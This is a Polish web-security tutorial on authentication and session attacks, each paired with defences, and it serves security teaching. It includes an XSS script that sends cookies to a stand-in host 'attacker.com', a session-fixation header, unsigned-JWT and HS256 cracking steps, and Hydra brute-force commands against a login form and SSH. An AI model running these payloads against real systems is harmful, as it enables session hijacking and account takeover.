🔐 Broken Authentication & Session Management
Luki w uwierzytelnianiu i zarządzaniu sesjami umożliwiają atakującym przejęcie kont użytkowników, odczytanie sesji, a nawet eskalację uprawnień. W tej sekcji omówimy najczęstsze ataki oraz sposoby ich przeprowadzania.
🎭 Ataki na sesje użytkowników (JWT, Cookies)
1️⃣ Ataki na Cookies
Pliki cookie zawierają dane sesyjne użytkownika i mogą być celem ataku.
Odczytanie cookies w przeglądarce
W konsoli przeglądarki (F12 → Console):
document.cookie
Kradzież sesji przez XSS
Jeśli aplikacja jest podatna na XSS, można wykraść sesję użytkownika:
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Modyfikacja sesji (Session Fixation)
Jeśli aplikacja nie zmienia ID sesji po zalogowaniu, atakujący może wymusić użycie konkretnej sesji:
Set-Cookie: PHPSESSID=attackerSession; path=/; HttpOnly
Zabezpieczenia:
- Używanie HttpOnly i Secure cookies
- Regeneracja ID sesji po zalogowaniu
- Ustawienie polityki SameSite dla ochrony przed CSRF
2️⃣ Ataki na JWT (JSON Web Tokens)
JWT są często używane do autoryzacji, ale mogą być podatne na ataki.
Brak podpisu JWT
Jeśli aplikacja akceptuje niepodpisane JWT, można podmienić payload:
{
"alg": "none",
"typ": "JWT"
}
Przykładowe narzędzie do dekodowania JWT:
jwt_tool token_here -d
Podatność na atak Brute-force algorytmu HS256
Jeśli klucz podpisujący JWT jest słaby, można go złamać:
jwtcrack mytoken.jwt
Zabezpieczenia:
- Używanie silnego klucza podpisującego JWT
- Ustawienie krótkiego czasu życia tokenów
- Odrzucanie niepodpisanych JWT
🔑 Bruteforce i ataki na hasła (Hydra, Burp Intruder)
1️⃣ Atak bruteforce na logowanie (Hydra)
Hydra umożliwia atakowanie formularzy logowania metodą siłową.
Bruteforce logowania HTTP POST
hydra -l admin -P passwords.txt example.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
Opcje:
-l admin
– login użytkownika-P passwords.txt
– lista hasełhttp-post-form
– atak na formularz POST
Bruteforce na SSH
hydra -l root -P passwords.txt ssh://192.168.1.10
Zabezpieczenia:
- Ograniczenie liczby nieudanych prób logowania
- Uwierzytelnianie wieloskładnikowe (MFA)
- Blokowanie podejrzanych adresów IP
2️⃣ Atak brute-force przy użyciu Burp Intruder
Burp Suite Intruder pozwala na ataki słownikowe na formularze logowania.
Konfiguracja ataku
- Przechwyć żądanie logowania w Burp Suite.
- Przekieruj je do zakładki
Intruder
→Positions
. - Ustaw
§
wokół parametrówusername
ipassword
. - Wybierz
Payloads
→ dodaj listę loginów i haseł. - Uruchom atak i sprawdź, które odpowiedzi różnią się od pozostałych.
Zabezpieczenia:
- Wprowadzenie CAPTCHA
- Opóźnienia po nieudanych próbach logowania
- Monitorowanie nietypowego ruchu logowania
Podatności w uwierzytelnianiu są jednym z najpoważniejszych zagrożeń dla aplikacji webowych. Kolejnym krokiem będzie analiza podatności Cross-Site Scripting (XSS)! 🎯